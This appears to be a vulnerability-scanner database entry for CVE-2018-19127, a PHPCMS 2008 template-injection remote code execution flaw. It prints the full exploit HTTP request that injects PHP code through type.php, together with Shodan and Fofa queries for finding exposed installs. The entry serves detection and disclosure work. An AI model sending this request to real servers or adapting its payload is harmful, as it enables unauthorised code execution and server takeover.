| Title | PHPCMS 2008 - Remote Code Execution via Template Injection |
|---|---|
| Author | tomaquet18 |
| Severity | Critical |
| Impact | Successful exploitation allows an unauthenticated attacker to achieve remote code execution on the server, potentially taking full control. |
| Remediation | The vendor is unresponsive and PHPCMS 2008 is no longer maintained. Users are advised to stop using this software or restrict public access to it. |
| CVSS Score | 9.8 |
| EPSS Score | 0.84845 |
| CVE ID | CVE-2018-19127 |
| CWE ID | CWE-94 |
| Shodan Query | http.html:"Powered by phpcms" |
| Fofa Query | body="Powered by phpcms" |
| Tags | cve cve2018 phpcms rce ssti vkev vuln |
PHPCMS 2008 suffers from an unauthenticated RCE via template injection in type.php, where attacker-supplied content is written into a PHP template cache file, which is then executable.
GET /type.php?template=tag_(){};echo(md5(999999999));{//../rss HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19127.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-19127.pcap
N/AN/A